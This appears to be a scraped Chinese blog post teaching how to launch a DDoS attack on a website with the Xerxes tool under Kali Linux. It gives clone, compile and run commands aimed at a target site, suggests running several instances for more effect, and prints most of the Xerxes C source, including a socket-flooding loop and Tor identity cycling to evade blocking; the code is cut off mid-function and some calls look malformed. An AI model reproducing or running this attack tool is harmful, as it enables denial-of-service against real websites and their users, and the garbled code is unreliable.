2025年kali下Xerxes脚本实现DDOS攻击

kali下Xerxes脚本实现DDOS攻击参考视频 https www youtube com watch v rEpSmCWTQcY 1 cd tmp git clone https github com zanyarjamal xerxes git cd xerxes gcc xerxes c o xerxes xerxes 目标网站 www 开头

大家好,我是讯享网,很高兴认识大家。

参考视频:https://www.youtube.com/watch?v=rEpSmCWTQcY

1、


讯享网

cd /tmp git clone https://github.com/zanyarjamal/xerxes.git cd xerxes gcc xerxes.c -o xerxes ./xerxes 目标网站,www开头 端口,一般是80 #如果感觉效果不是很明显,可以多开几个窗口跑一样的内容。 

讯享网

http://www.isitdownrightnow.com/ 检测网站是否down掉了。把要检测网址粘入即可。

示例脚本xerxes.c:

讯享网/* XerXes - Most powerful dos tool - #SJ edited bY mR.Thg */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <netdb.h> #include <signal.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> int make_socket(char *host, char *port) { struct addrinfo hints, *servinfo, *p; int sock, r; // fprintf(stderr, "[Connecting -> %s:%s\n", host, port); memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r)); exit(0); } for(p = servinfo; p != NULL; p = p->ai_next) { if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { continue; } if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) { close(sock); continue; } break; } if(p == NULL) { if(servinfo) freeaddrinfo(servinfo); fprintf(stderr, "No connection could be made\n"); exit(0); } if(servinfo) freeaddrinfo(servinfo); fprintf(stderr, "[Connected -> %s:%s]\n", host, port); return sock; } void broke(int s) { // do nothing } #define CONNECTIONS 8 #define THREADS 48 void attack(char *host, char *port, int id) { int sockets[CONNECTIONS]; int x, g=1, r; for(x=0; x!= CONNECTIONS; x++) sockets[x]=0; signal(SIGPIPE, &broke); while(1) { for(x=0; x != CONNECTIONS; x++) { if(sockets[x] == 0) sockets[x] = make_socket(host, port); r=write(sockets[x], "\0", 1); if(r == -1) { close(sockets[x]); sockets[x] = make_socket(host, port); } else // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r); fprintf(stderr, "[%i: Packet Sent]\n", id); } fprintf(stderr, "[%i: Packet Sent]\n", id); usleep(); } } void cycle_identity() { int r; int socket = make_socket("localhost", "9050"); write(socket, "AUTHENTICATE \"\"\n", 16); while(1) { r=write(socket, "signal NEWNYM\n\x00", 16); fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r); usleep(); 
小讯
上一篇 2025-03-15 17:00
下一篇 2025-02-20 10:21

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/11570.html